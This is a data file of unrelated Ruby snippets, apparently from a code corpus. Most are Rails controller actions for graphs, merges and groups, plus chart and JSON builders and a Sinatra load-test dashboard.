"def update\n @graph = Graph.includes(:nodes).find(params[:id])\n\n respond_to do |format|\n if @graph.update_attributes(params[:graph])\n Action.log :controller => params[:controller], :action => params[:action], :target_id => params[:id], :user => current_user\n format.html { redirect_to @graph, notice: 'Graph was successfully updated.' }\n format.json { head :no_content }\n else\n @graph.graph_membership_graphs.build\n @graph.graph_membership_nodes.build\n format.html { render action: \"edit\", :layout => !request.xhr? }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def merge\n @primary = Client.find(params[:primary_id])\n @secondary = Client.find(params[:secondary_id])\n \n #merge primary_backup and secondary_backup\n @primary.attributes = @secondary.attributes.except(\"id\", \"created_at\", \"updated_at\")\n .delete_if { |k, v| v.blank? }\n #merge tickets\n @secondary.tickets.update_all(client_id: @primary.id)\n #merge backups\n @secondary.backups.update_all(client_id: @primary.id)\n #merge computers\n @secondary.computers.update_all(client_id: @primary.id)\n #merge parts\n @secondary.parts.update_all(client_id: @primary.id)\n #merge dispatches\n @secondary.dispatches.update_all(client_id: @primary.id)\n #merge items\n @secondary.items.update_all(client_id: @primary.id)\n #merge dispatches\n @secondary.anti_viri.update_all(client_id: @primary.id)\n #merge Contract_services\n @secondary.contract_services.update_all(client_id: @primary.id)\n #merge Contract_service_lines\n @secondary.contract_service_lines.update_all(client_id: @primary.id)\n #save backup merge\n @primary.save\n #remove secondary_backup\n @secondary.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully Merged then destroyed.' }\n format.json { head :no_content }\n \n end\n end",
"def create\n if current_user_id\n user_params = create_params[:graph].merge({ :user_id => current_user_id })\n @graph = Graph.create_from_request user_params\n\n respond_to do |format|\n if @graph\n format.html { redirect_to edit_graph_path(@graph.string_id), notice: 'Graph was successfully created.' }\n format.json { render json: @graph, status: :created, location: @graph }\n else\n format.html { render action: \"new\" }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n else\n head :unauthorized\n end\n end",
"def merge\n # Add desc and activate\n @new_jingle = current_user.jingles.create\n current_user.tag(@new_jingle, with: extract_hashtags(params[:jingle][:desc]), on: :hashtags)\n redirect_path = jingles_user_index_path #jingle.has_parent? ? open_jingle_path(jingle.parent, open: \"tracks\") : jingles_user_index_path\n \n respond_to do |format|\n if @new_jingle.delay.create_from_origin(params[:jingle]) #jingle.can_merge_track?(params[:force])\n format.html { redirect_to redirect_path, notice: t(\"flash.notice.create\", item: @new_jingle.class)}\n format.js {}\n else\n format.html { render action: \"new\" }\n format.js {}\n end\n end\n end",
"def graph_params\n \n params.require(:graph).permit([\n :name,\n :x_colname,\n :y1_colname,\n :y2_colname,\n :sheetname,\n :y1_legend,\n :y2_legend, \n :color_y1,\n :color_y2,\n :order_num,\n :definition,\n :period])\n \n end",
"def postEntityMerge( from, to, override_trust, uncontribute_masheryid, uncontribute_userid, uncontribute_supplierid, delete_mode)\n params = Hash.new\n params['from'] = from\n params['to'] = to\n params['override_trust'] = override_trust\n params['uncontribute_masheryid'] = uncontribute_masheryid\n params['uncontribute_userid'] = uncontribute_userid\n params['uncontribute_supplierid'] = uncontribute_supplierid\n params['delete_mode'] = delete_mode\n return doCurl(\"post\",\"/entity/merge\",params)\n end",
"def index\n @merges = Merge.all\n end",
"def global_merge_data=(value)\n @global_merge_data = Array.new\n\n unless value.nil?\n value.each do |v1|\n if v1.instance_of? MergeFieldJson\n @global_merge_data.push(v1)\n end\n end\n\n end\n\n # build json hash for MergeDataJson\n # @return [hash]\n def to_hash\n\n json = {}\n\n if @global_merge_data.length > 0\n e = Array.new\n @global_merge_data.each do |value|\n e.push(value.to_hash)\n end\n json[:global] = e\n end\n\n if @per_message_merge_data.length > 0\n e = Array.new\n @per_message_merge_data.each do |message|\n m = Array.new\n message.each do |value|\n m.push(value.to_hash)\n end\n e.push(m)\n end\n json[:perMessage] = e\n end\n\n json\n end\n\n def empty\n @global_merge_data.length <= 0 && @per_message_merge_data.length <= 0\n end\n\n end",
"def send_graph(graph, completion_message = nil)\n blob = Blob.new(graph.encode)\n on_completion = graph_completion_blob(completion_message)\n\n send_bundle Message.new(\"/d_recv\", blob, on_completion)\n end",
"def create\n @time_series = TimeSeries.new(params[:time_series])\n\n # if there are category_ids, create mapper objects with them\n params[:time_series][:category_ids].delete('')\n # - remove '' from list\n params[:time_series][:category_ids].each do |category_id|\n @time_series.category_mappers.build(category_id: category_id)\n end\n\n # if there are country_ids, create mapper objects with them\n params[:time_series][:country_ids].delete('')\n # - remove '' from list\n params[:time_series][:country_ids].each do |country_id|\n @time_series.country_mappers.build(country_id: country_id)\n end\n\n respond_to do |format|\n if @time_series.save\n format.html { redirect_to time_series_questions_path(@owner, @time_series), flash: {success: t('app.msgs.success_created', :obj => t('mongoid.models.time_series.one'))} }\n format.json { render json: @time_series, status: :created, location: @time_series }\n else\n @datasets = Dataset.by_owner(@owner.id, current_user.id).only_id_title_languages.sorted\n\n # add the required assets\n @js.push(\"time_series.js\", 'cocoon.js')\n\n add_time_series_nav_options({show_title: false, set_url: false})\n\n set_tabbed_translation_form_settings\n\n format.html { render action: \"new\" }\n format.json { render json: @time_series.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ajax_load_funnel_json\n\n # Load all the Nodes and Links for the current Funnel\n @nodes = Node.where(funnel_id: params[:funnel_id])\n @links = Link.where(funnel_id: params[:funnel_id])\n\n # Create a new array to hold the operators\n operators = Hash.new\n\n # Create start operator\n operators[0] =\n {\n :top => 20,\n :left => 20,\n :properties => {\n :title => 'Start',\n class: 'flowchart-operator-start-node',\n inputs: {},\n outputs: {\n output_1: {\n label: ' ',\n }\n }\n }\n }\n\n # For every Node we have in the DB, create an operator with its fields\n @nodes.each do |node|\n\n operators[node.id] =\n {\n :top => node.top,\n :left => node.left,\n :properties => {\n :title => node.name,\n class:'flowchart-operator-email-node',\n :inputs => {\n :input_1 => {\n :label => ' '\n }\n },\n :outputs => {\n :output_1 => {\n :label => ' '\n }\n }\n }\n }\n\n\n end\n\n # Create a new links array\n links = Hash.new\n\n # For every Link for the funnel, create a flowchart link with its fields\n @links.each do |link|\n\n if link.start_link === 1\n fromNode = 0\n else\n fromNode = link.from_node_id\n end\n\n links[link.id] =\n {\n :fromConnector => 'output_1',\n :toConnector => 'input_1',\n :fromOperator => fromNode,\n :toOperator => link.to_node_id,\n }\n end\n\n\n\n # Create data JSON with operators and links\n data = JSON.pretty_generate({\n 'operators' => operators,\n 'links' => links\n })\n\n\n # Return JSON array with flowchart data\n render json: data\n\n end",
"def mergeNewsFeed\n newsFeed = aviator.merge flightglobal\n cleanNewsFeed= JSON.pretty_generate(newsFeed).gsub(\":\", \" =>\")\n cleanNewsFeed\nend",
"def gauge_graph_params\n params.require(:gauge_graph).permit(:score, :total)\n end",
"def create\n @patron_merge = PatronMerge.new(params[:patron_merge])\n\n respond_to do |format|\n if @patron_merge.save\n flash[:notice] = t('controller.successfully_created', :model => t('activerecord.models.patron_merge'))\n format.html { redirect_to(@patron_merge) }\n format.json { render :json => @patron_merge, :status => :created, :location => @patron_merge }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @patron_merge.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @connection_group = ConnectionGroup.new(params[:connection_group])\n\n respond_to do |format|\n if @connection_group.save\n format.html { redirect_to @connection_group, notice: 'Connection group was successfully created.' }\n format.json { render json: @connection_group, status: :created, location: @connection_group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @connection_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def merge_vertices!( *args )\n # create a list of vertices we want to merge\n mergeV = []\n if args[0].class == Array\n mergeV = args[0]\n else\n mergeV << args[0] << args[1]\n end\n\n # go through vertex adjacency lists, and delete any bad vertices!\n # at the same time, keep track of the connections vmerged will be merged with\n finalConnections = {}\n # go in reverse to prioritize the edges that are earlier in the array\n mergeV.reverse.each do |vertex|\n @graph_impl.adjacency_list( vertex ).each do |v,e|\n if mergeV.include? v\n delete_edge! e\n next\n end\n finalConnections[v] = e\n delete_edge! e\n end\n end\n\n # delete the vertices we want to merge\n mergeV.each do |v|\n delete_vertex! v\n end\n\n # add vmerged and connect it to adjacent vertices\n add_vertex args.last\n finalConnections.each do | vertexName, name |\n add_edge name, vertexName, args.last\n end\n\n self\n end",
"def chart_comparison\n pts = params[:portfolios] ||= \"#{Portfolio.first.id}\" # '10, 17, 8, 3, 6, 7, 9' # \"#{Portfolio.first.id}\" \n ports = pts.split(',').map { |p| p.to_i }\n \n data = [ ]\n zero_line = History.where(portfolio_id: Portfolio.first.id, snapshot_date: Date.today.beginning_of_year..Date.today).collect { |h| [ h.snapshot_date.strftime(\"%Y/%m/%d\"), 0 ] } \n data.push ( {name: 'zero', data: zero_line } )\n Portfolio.find(ports).each do |p|\n start_year_total = History.where(portfolio_id: p.id, snapshot_date: Date.today.beginning_of_year..Date.today).first.total\n# start_month_total = History.where(portfolio_id: p.id, snapshot_date: Date.today.beginning_of_month..Date.today.beginning_of_month+2).first.total\n series = History.where(portfolio_id: p.id, snapshot_date: Date.today.beginning_of_year..Date.today).collect { |h| [ h.snapshot_date.strftime(\"%Y/%m/%d\"), ( (h.total / start_year_total) - 1 ) ] } \n data.push ( { name: p.name, data: series } ) \n end\n \n data = [ { name: 'padding', data: [ ] } ]\n Group.all.each do |g|\n series = History.graph_data_comparison(g.name, 'Last 3 Years')[0]\n data.push ( { name: g.name, data: series } ) \n end\n\n render json: data\n end",
"def create\n @solution = Solution.new(solution_params)\n @solution.user_id = @current_user.id\n @solution.solution_id = 0\n @solution.accepted = false\n\n respond_to do |format|\n if @solution.save\n format.html { redirect_to @solution, notice: 'Solution was successfully created.' }\n format.json { render :show, status: :created, location: @solution }\n SolutionGraph.create({:code => @solution.id, :desc => @solution.description}).save\n @solution_graph = SolutionGraph.find_by(code: @solution.id)\n @individual = Individual.find_by(login: @current_user.login )\n @solution_graph.creator = @individual\n @service_graph = ServiceGraph.find_by(code: @solution.service_id)\n @solution_graph.service = @service_graph\n else\n format.html { render :new }\n format.json { render json: @solution.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bar_graph_params\n params.require(:bar_graph).permit(:maximum, :scores, scores: [])\n end",
"def generate_graph\n end",
"def destroy\n @series_statement_merge.destroy\n\n respond_to do |format|\n format.html { redirect_to(series_statement_merges_url) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @series_statement_merge.destroy\n\n respond_to do |format|\n format.html { redirect_to(series_statement_merges_url) }\n format.json { head :no_content }\n end\n end",
"def calculate_graph_diffs(graphname1, graphname2, diffgraphname)\n update(\"INSERT { GRAPH <#{diffgraphname}> { ?s ?p ?o . }} WHERE { GRAPH <#{graphname1}> { ?s ?p ?o } FILTER NOT EXISTS { GRAPH <#{graphname2}> { ?s ?p ?o }}}\")\nend",
"def new\n @node = Node.new\n 3.times { @node.related_edges_B.build }\n 3.times { @node.incoming_edges.build }\n 3.times { @node.outgoing_edges.build }\n \n Action.log :controller => params[:controller], :action => params[:action], :user => current_user\n\n respond_to do |format|\n format.html { render :layout => !request.xhr? } # new.html.erb\n format.json { render json: @node }\n end\n end",
"def merge; end",
"def create\n #chart = Chart.find(params[:chart_id])\n chart = Chart.where(\"id = ? AND user_id = ?\", params[:chart_id], current_user.id).limit(1)[0]\n data_set = chart.data_sets.new(params[:data_set])\n data_set.save\n\n respond_with(data_set) do |format|\n if data_set.valid?\n format.json { render json: { success: true, data_sets: data_set } }\n else\n format.json { render json: { success: false, errors: data_set.errors } }\n end\n end\n end",
"def get_graphs_data\n service_response = DashboardManagement::GetGraphsData.new(params).perform\n\n if service_response.success?\n render :json => service_response.data\n elsif\n service_response.http_code = 404\n render_api_response(service_response)\n end\n end",
"def create\n # @group.parent_id is in the form if we need it\n @group.hub = @hub\n \n respond_to do |format|\n if @group.save\n format.html { redirect_to [@hub, @group], :notice => 'Group was successfully created.' }\n format.json { render :json => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def graph_params\n params.require(:graph).permit(:path, :description, :tag_list, :visible)\n end",
"def convert_to_json(graph)\n hash = JSON.parse graph.dump(:jsonld, context: ValidatorApp.jsonld_context[:file].dup)\n hash.key?(\"@graph\") ? nest(hash) : []\n end",
"def codegen_merge\n header, body, footer = \"function merge(results, data)\\n\", [], \"end\\n\"\n\n # Open group loops.\n groups.each_with_index do |group, index|\n data_item = \"data\" + (0...index).to_a.map {|i| \"[k#{i}]\"}.join('')\n results_item = \"results\" + (0..index).to_a.map {|i| \"[k#{i}]\"}.join('')\n body << \"#{' ' * index}for k#{index},v#{index} in pairs(#{data_item}) do\"\n body << \"#{' ' * index} if #{results_item} == nil then #{results_item} = {} end\"\n end\n\n indent = ' ' * groups.length\n body << \"#{indent}a = results\" + (0...groups.length).to_a.map {|i| \"[k#{i}]\"}.join('')\n body << \"#{indent}b = data\" + (0...groups.length).to_a.map {|i| \"[k#{i}]\"}.join('')\n\n # Generate the merge for each field.\n fields.each do |field|\n alias_name = field.target_name\n \n case field.aggregation_type\n when nil\n body << \"#{indent}a.#{alias_name} = b.#{alias_name}\"\n when :count\n body << \"#{indent}a.#{alias_name} = (a.#{alias_name} or 0) + (b.#{alias_name} or 0)\"\n when :sum\n body << \"#{indent}a.#{alias_name} = (a.#{alias_name} or 0) + (b.#{alias_name} or 0)\"\n when :min\n body << \"#{indent}if(a.#{alias_name} == nil or a.#{alias_name} > b.#{alias_name}) then\"\n body << \"#{indent} a.#{alias_name} = b.#{alias_name}\"\n body << \"#{indent}end\"\n when :max\n body << \"#{indent}if(a.#{alias_name} == nil or a.#{alias_name} < b.#{alias_name}) then\"\n body << \"#{indent} a.#{alias_name} = b.#{alias_name}\"\n body << \"#{indent}end\"\n else\n raise StandardError.new(\"Invalid aggregation type: #{field.aggregation_type}\")\n end\n end\n\n # Close group loops.\n groups.reverse.each_with_index do |group, index|\n body << \"#{' ' * (groups.length-index-1)}end\"\n end\n\n # Indent body and return.\n body.map! {|line| \" \" + line}\n return header + body.join(\"\\n\") + \"\\n\" + footer\n end",
"def create\n @dataload_ga = DataloadGa.new(params[:dataload_ga])\n\n respond_to do |format|\n if @dataload_ga.save\n format.html { redirect_to edit_dataload_ga_path(@dataload_ga), notice: 'Dataload ga was successfully created.' }\n format.json { render json: @dataload_ga, status: :created, location: @dataload_ga }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dataload_ga.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @utilization_metrics_by_node_group = UtilizationMetricsByNodeGroup.new(params[:utilization_metrics_by_node_group])\n\n respond_to do |format|\n if @utilization_metrics_by_node_group.save\n format.html {\n flash[:notice] = 'UtilizationMetricsByNodeGroup was successfully created.'\n redirect_to utilization_metrics_by_node_group_url(@utilization_metrics_by_node_group)\n }\n format.js { \n render(:update) { |page| \n }\n }\n format.xml { head :created, :location => utilization_metrics_by_node_group_url(@utilization_metrics_by_node_group) }\n else\n format.html { render :action => \"new\" }\n format.js { render(:update) { |page| page.alert(@utilization_metrics_by_node_group.errors.full_messages) } }\n format.xml { render :xml => @utilization_metrics_by_node_group.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end",
"def graph_params\n params.require(:graph).permit(:name, :description, :code)\n end",
"def create\n @expression_merge_list = ExpressionMergeList.new(params[:expression_merge_list])\n\n respond_to do |format|\n if @expression_merge_list.save\n flash[:notice] = t('controller.successfully_created', :model => t('activerecord.models.expression_merge_list'))\n format.html { redirect_to(@expression_merge_list) }\n format.json { render :json => @expression_merge_list, :status => :created, :location => @expression_merge_list }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @expression_merge_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_nodegroup(nodegroup_json)\n nodemgr_rest_call(\"POST\", \"classifier\", \"groups\", $credentials, id=\"\", nodegroup_json)\nend",
"def controller()\n\n # Create a Sinatra isntance\n $sinatra_instance = Sinatra.new()\n\n # Get a localhost/data url defined (used by ajax)\n $sinatra_instance.get '/data' do\n\n # we need to turn the data object into a json response at the end\n data = {}\n\n # This is the array of data for each scenario for the graph\n data['graph_data'] = []\n\n # The array for the erros\n data['error_log'] = $error_log\n\n # Define the graph data objects\n for i in 0..10\n data['graph_data'][i] = []\n end\n\n # Work out the xmax and ymax\n data['graph_xmax'] = (($graph_time || 0) * 1.05).ceil.to_s\n data['graph_ymax'] = (($amount_of_users || 0) * 1.2).ceil.to_s\n\n # Sets the graph data for [0] (vusers) to 0, stops an error\n data['graph_data'][0][0] = 0\n\n if (!$starttime.nil?) then\n\n # Loops through each second to get the graph data\n for i in 0..((Time.new.to_i - $starttime ))\n\n # The [0] is for v users\n data['graph_data'][0][i] = $results_vusers[i + 1]\n\n num = 0\n # Anthing above [0] is for the running tests\n $results_scenarios_graph.each do |key, results2|\n num = num + 1\n if (results2[i + 1].nil? == false) then\n\n sum = 0\n results2[i + 1].each { |a| sum+=a }\n\n # Add the results to the json object\n data['graph_data'][num][i] = ((sum / results2[i + 1].size.to_f) / 1000).round(2)\n\n if (data['graph_data'][num][i] > $max_x) then\n $max_x = data['graph_data'][num][i]\n end\n\n end\n end\n end\n end\n\n data['graph_y2max'] = ($max_x * 1.1)\n\n # Define the objects for the overview of the cucumber scenarios (table below graph)\n data['graph_details_name'] = []\n data['graph_details_min'] = []\n data['graph_details_max'] = []\n data['graph_details_avg'] = []\n data['graph_details_err'] = []\n data['graph_details_ite'] = []\n data['graph_details_per'] = []\n\n data['graph_details_name'][0] = 'Vusers'\n\n # If the data exists then use it, otherwise set it to 0\n if (!data['graph_data'].nil?) then\n\n if (data['graph_data'][0].nil?) then\n data['graph_data'][0] = []\n end\n\n if (data['graph_data'][0].count > 1)\n data['graph_details_avg'][0] = (data['graph_data'][0].inject{ |sum, el| sum + el }.to_f / data['graph_data'][0].size).round(2)\n data['graph_details_min'][0] = data['graph_data'][0].min.round(2)\n data['graph_details_max'][0] = data['graph_data'][0].max.round(2)\n else\n data['graph_details_avg'][0] = 0\n data['graph_details_min'][0] = 0\n data['graph_details_max'][0] = 0\n end\n\n data['graph_details_err'][0] = 0\n data['graph_details_ite'][0] = 0\n data['graph_details_per'][0] = 0\n\n else\n data['graph_details_min'][0] = 0\n data['graph_details_max'][0] = 0\n data['graph_details_avg'][0] = 0\n data['graph_details_err'][0] = 0\n data['graph_details_ite'][0] = 0\n data['graph_details_per'][0] = 0\n\n end\n\n i = 0\n #puts $results_scenarios_graph.count\n # This is the same as above, but for tests, not the vusers\n $results_scenarios_graph.each do |key, results2|\n\n i += 1\n data['graph_details_name'][i] = key\n\n if (!$results_scenarios[key].nil?) then\n\n if ($results_scenarios[key].count > 1)\n data['graph_details_avg'][i] = (($results_scenarios[key].inject{ |sum, el| sum + el }.to_f / $results_scenarios[key].size) / 1000).round(2)\n data['graph_details_min'][i] = ($results_scenarios[key].min / 1000).round(2)\n data['graph_details_max'][i] = ($results_scenarios[key].max / 1000).round(2)\n data['graph_details_per'][i] = (percentile($results_scenarios[key], 0.9) / 1000).round(2)\n else\n data['graph_details_avg'][i] = 0\n data['graph_details_min'][i] = 0\n data['graph_details_max'][i] = 0\n data['graph_details_per'][i] = 0\n end\n else\n\n data['graph_details_min'][i] = 0\n data['graph_details_max'][i] = 0\n data['graph_details_avg'][i] = 0\n data['graph_details_per'][i] = 0\n\n end\n\n data['graph_details_err'][i] = $scenario_errors[key]\n data['graph_details_ite'][i] = $scenario_iterations[key]\n\n\n end\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n # This is the array of data for each scenario for the graph\n data['trans_graph_data'] = []\n\n # Define the graph data objects\n for i in 0..30\n data['trans_graph_data'][i] = []\n end\n\n # Work out the xmax and ymax\n data['trans_graph_xmax'] = (($graph_time || 0) * 1.05).ceil.to_s\n\n # Sets the graph data for [0] (vusers) to 0, stops an error\n\n #$stdout.puts $results_transactions_graph\n\n if (!$starttime.nil?) then\n\n # Loops through each second to get the graph data\n for i in 0..((Time.new.to_i - $starttime ))\n\n num = 0\n # Anthing above [0] is for the running tests\n $results_transactions_graph.each do |key, results2|\n if (results2[i + 1].nil? == false) then\n\n sum = 0\n results2[i + 1].each { |a| sum+=a }\n\n # Add the results to the json object\n data['trans_graph_data'][num][i] = ((sum / results2[i + 1].size.to_f) / 1000).round(2)\n if (data['trans_graph_data'][num][i] > $trans_max_x) then\n $trans_max_x = data['trans_graph_data'][num][i]\n end\n\n end\n num = num + 1\n end\n end\n end\n\n data['trans_graph_ymax'] = ($trans_max_x * 1.1)\n\n data['trans_graph_details_name'] = []\n data['trans_graph_details_min'] = []\n data['trans_graph_details_max'] = []\n data['trans_graph_details_avg'] = []\n data['trans_graph_details_err'] = []\n data['trans_graph_details_ite'] = []\n data['trans_graph_details_per'] = []\n\n i = 0\n #puts $results_transactions_graph.count\n # This is the same as above, but for tests, not the vusers\n $results_transactions_graph.each do |key, results2|\n\n\n data['trans_graph_details_name'][i] = key\n\n if (!$results_transactions[key].nil?) then\n\n if ($results_transactions[key].count > 1)\n data['trans_graph_details_avg'][i] = (($results_transactions[key].inject{ |sum, el| sum + el }.to_f / $results_transactions[key].size) / 1000).round(2)\n data['trans_graph_details_min'][i] = ($results_transactions[key].min / 1000).round(2)\n data['trans_graph_details_max'][i] = ($results_transactions[key].max / 1000).round(2)\n data['trans_graph_details_per'][i] = (percentile($results_transactions[key], 0.9) / 1000).round(2)\n else\n data['trans_graph_details_avg'][i] = 0\n data['trans_graph_details_min'][i] = 0\n data['trans_graph_details_max'][i] = 0\n data['trans_graph_details_per'][i] = 0\n end\n else\n\n data['trans_graph_details_min'][i] = 0\n data['trans_graph_details_max'][i] = 0\n data['trans_graph_details_avg'][i] = 0\n data['trans_graph_details_per'][i] = 0\n\n end\n\n if (!$transactions_iterations[key].nil?)\n data['trans_graph_details_ite'][i] = $transactions_iterations[key]\n else\n data['trans_graph_details_ite'][i] = 0\n end\n i += 1\n end\n\n\n\n # Print the output as a json string\n return data.to_json\n end\n\n # Get a localhost url defined (main page)\n $sinatra_instance.get '/' do\n\n erb :'index.html'\n\n end\n\n # run sinatra on the default url/port\n $sinatra_instance.run!\n\nend",
"def destroy\n @graph.destroy\n\n respond_to do |format|\n format.html { redirect_to graphs_url }\n format.json { head :no_content }\n end\n end",
"def create\n @branding_group = BrandingGroup.new(branding_group_params)\n\n respond_to do |format|\n if @branding_group.save\n format.html { redirect_to merge_default_redirect_params(branding_group_path(@branding_group), scpbr: params[:scpbr]),\n notice: \"Branding group '#{@branding_group.name}' was successfully created.\" }\n format.json { render :show, status: :created, location: @branding_group }\n else\n format.html { render :new }\n format.json { render json: @branding_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def publish\n # LATER: add in the graph attributes -- \n # i.e., turn the graph attribute hash into an array of [ '--key', 'value', ...]\n RRDtool.graph @graph_command\n end",
"def create\n result = CreateMultiYearChart.call(\n Api::Scenario.find(params.require(:scenario_id).to_i),\n current_user\n )\n\n if result.successful?\n redirect_to helpers.myc_url(result.value)\n else\n flash.now[:error] = result.errors.join(', ')\n\n @scenarios = user_scenarios\n @multi_year_charts = user_multi_year_charts\n\n render :index, status: :unprocessable_entity\n end\n end",
"def create\n study_process_graphic_params.permit!\n @study_process_graphic = StudyProcessGraphic.new(study_process_graphic_params)\n @study_process_graphic.study_year = @year\n\n respond_to do |format|\n if @study_process_graphic.save\n StudyPeriod.create!(group: Group.find(study_process_graphic_params[:group_id]), study_process_graphic: @study_process_graphic, study_year: @year)\n format.html { redirect_to study_year_study_process_graphics_path(current_user.current_year), notice: 'График учебного процесса успешно создан.' }\n format.json { render action: 'show', status: :created, location: @study_process_graphic }\n else\n format.html { render action: 'new' }\n format.json { render json: @study_process_graphic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @graph.destroy\n respond_to do |format|\n format.html { redirect_to graphs_url }\n format.json { head :no_content }\n end\n end",
"def update\n @graph.update_attributes_from_request(update_params)\n head :no_content\n end",
"def graph_for_compare_monthly_report\n start_date = (params[:start_date]).to_date\n end_date = (params[:end_date]).to_date\n start_date2 = (params[:start_date2]).to_date\n end_date2 = (params[:end_date2]).to_date\n\n expenses = Hash[params.select {|x,y| x.match /ECATEGORY(.)*/ }]\n incomes = Hash[params.select {|x,y| x.match /ICATEGORY(.)*/ }]\n other_expenses = Hash[params.select {|x,y| x.match /EOCATEGORY(.)*/ }]\n other_incomes = Hash[params.select {|x,y| x.match /IOCATEGORY(.)*/ }]\n\n donations_total = params[:donations].present? ? params[:donations].split(\",\")[0].to_f : 0\n donations_total2 = params[:donations].present? ? params[:donations].split(\",\")[1].to_f : 0\n\n fees = params[:fees].present? ? params[:fees].split(\",\")[0].to_f : 0\n fees2 = params[:fees].present? ? params[:fees].split(\",\")[1].to_f : 0\n\n salary = params[:salary].present? ? params[:salary].split(\",\")[0].to_f : 0\n salary2 = params[:salary].present? ? params[:salary].split(\",\")[1].to_f : 0\n\n total_other_trans1 = total_other_trans2 = income = expense = income2 = expense2 = 0\n\n x_labels = []\n data = []\n data2 = []\n largest_value = 0\n\n unless salary <= 0 and salary2 <= 0\n x_labels << \"#{t('employee_salary')}\"\n data << -(salary)\n data2 << -(salary2)\n largest_value = salary if largest_value < salary\n largest_value = salary2 if largest_value < salary2\n end\n\n unless donations_total <= 0 and donations_total2 <= 0\n x_labels << \"#{t('donations')}\"\n data << donations_total\n data2 << donations_total2\n largest_value = donations_total if largest_value < donations_total\n largest_value = donations_total2 if largest_value < donations_total2\n end\n\n unless fees <= 0 and fees2 <= 0\n x_labels << \"#{t('student_fees')}\"\n data << FedenaPrecision.set_and_modify_precision(fees).to_f\n data2 << FedenaPrecision.set_and_modify_precision(fees2).to_f\n largest_value = fees if largest_value < fees\n largest_value = fees2 if largest_value < fees2\n end\n\n incomes.each_pair do |cat, amt|\n x_labels << \"#{t(cat.gsub('ICATEGORY',''))}\"\n data << amount1 = amt.split(',')[0].to_f\n data2 << amount2 = amt.split(',')[1].to_f\n largest_value = amount1 if largest_value < amount1\n largest_value = amount2 if largest_value < amount2\n end\n\n expenses.each_pair do |cat, amt|\n x_labels << \"#{t(cat.gsub('ECATEGORY',''))}\"\n amount1 = amt.split(',')[0].to_f\n amount2 = amt.split(',')[1].to_f\n data << -(amount1)\n data2 << -(amount2)\n largest_value = amount1 if largest_value < amount1\n largest_value = amount2 if largest_value < amount2\n end\n\n refund = refund2 = 0\n\n other_expenses.each_pair do |cat, amt|\n unless cat == 'Refund'\n expense += amt.split(',')[0].to_f\n expense2 += amt.split(',')[1].to_f\n else\n refund = amt.split(',')[0].to_f\n refund2 = amt.split(',')[1].to_f\n end\n end\n\n other_incomes.each_pair do |cat, amt|\n income += amt.split(',')[0].to_f\n income2 += amt.split(',')[1].to_f\n end\n\n unless income <= 0 and income2 <= 0\n x_labels << \"#{t('other_income')}\"\n data << income\n data2 << income2\n largest_value = income if largest_value < income\n largest_value = income2 if largest_value < income2\n end\n\n unless refund <= 0 and refund2 <= 0\n x_labels << \"#{t('refund')}\"\n data << refund\n data2 << refund2\n largest_value = refund if largest_value < refund\n largest_value = refund2 if largest_value < refund2\n end\n\n unless expense <= 0 and expense2 <= 0\n x_labels << \"#{t('other_expense')}\"\n data << -(FedenaPrecision.set_and_modify_precision(expense).to_f)\n data2 << -(FedenaPrecision.set_and_modify_precision(expense2).to_f)\n largest_value = expense if largest_value < expense\n largest_value = expense2 if largest_value < expense2\n end\n\n largest_value += 500\n\n bargraph = BarFilled.new()\n bargraph.width = 1;\n bargraph.colour = '#bb0000';\n bargraph.dot_size = 3;\n bargraph.text = \"#{t('for_the_period')} #{format_date(start_date)} #{t('to')} #{format_date(end_date)}\"\n bargraph.values = data\n bargraph2 = BarFilled.new()\n bargraph2.width = 1;\n bargraph2.colour = '#000000';\n bargraph2.dot_size = 3;\n bargraph2.text = \"#{t('for_the_period')} #{format_date(start_date2)} #{t('to')} #{format_date(end_date2)}\"\n bargraph2.values = data2\n\n x_axis = XAxis.new\n x_axis.labels = x_labels\n\n y_axis = YAxis.new\n y_axis.set_range(FedenaPrecision.set_and_modify_precision(-(largest_value)),\n FedenaPrecision.set_and_modify_precision(largest_value),\n FedenaPrecision.set_and_modify_precision(largest_value/5))\n\n title = Title.new(\"#{t('finance_transactions')}\")\n\n x_legend = XLegend.new(\"#{t('examination_name')}\")\n x_legend.set_style('{font-size: 14px; color: #778877}')\n\n y_legend = YLegend.new(\"#{t('marks')}\")\n y_legend.set_style('{font-size: 14px; color: #770077}')\n\n chart = OpenFlashChart.new\n chart.set_title(title)\n chart.set_x_legend = x_legend\n chart.set_y_legend = y_legend\n chart.y_axis = y_axis\n chart.x_axis = x_axis\n\n chart.add_element(bargraph)\n chart.add_element(bargraph2)\n\n render :text => chart.render\n end",
"def create\n @group_adj = GroupAdj.new(group_adj_params)\n\n respond_to do |format|\n if @group_adj.save\n format.html { redirect_to @group_adj, notice: 'Group adj was successfully created.' }\n format.json { render :show, status: :created, location: @group_adj }\n else\n format.html { render :new }\n format.json { render json: @group_adj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n if @series_statement\n @series_statement_merges = @series_statement.series_statement_merges.order('series_statement_merges.id').page(params[:page])\n elsif @series_statement_merge_list\n @series_statement_merges = @series_statement_merge_list.series_statement_merges.order('series_statement_merges.id').includes(:series_statement).page(params[:page])\n else\n @series_statement_merges = SeriesStatementMerge.page(params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @series_statement_merges }\n end\n end",
"def destroy\n @graph_membership_graph = GraphMembershipGraph.find(params[:id])\n @graph_membership_graph.destroy\n\n respond_to do |format|\n format.html { redirect_to graph_membership_graphs_url }\n format.json { head :no_content }\n end\n end",
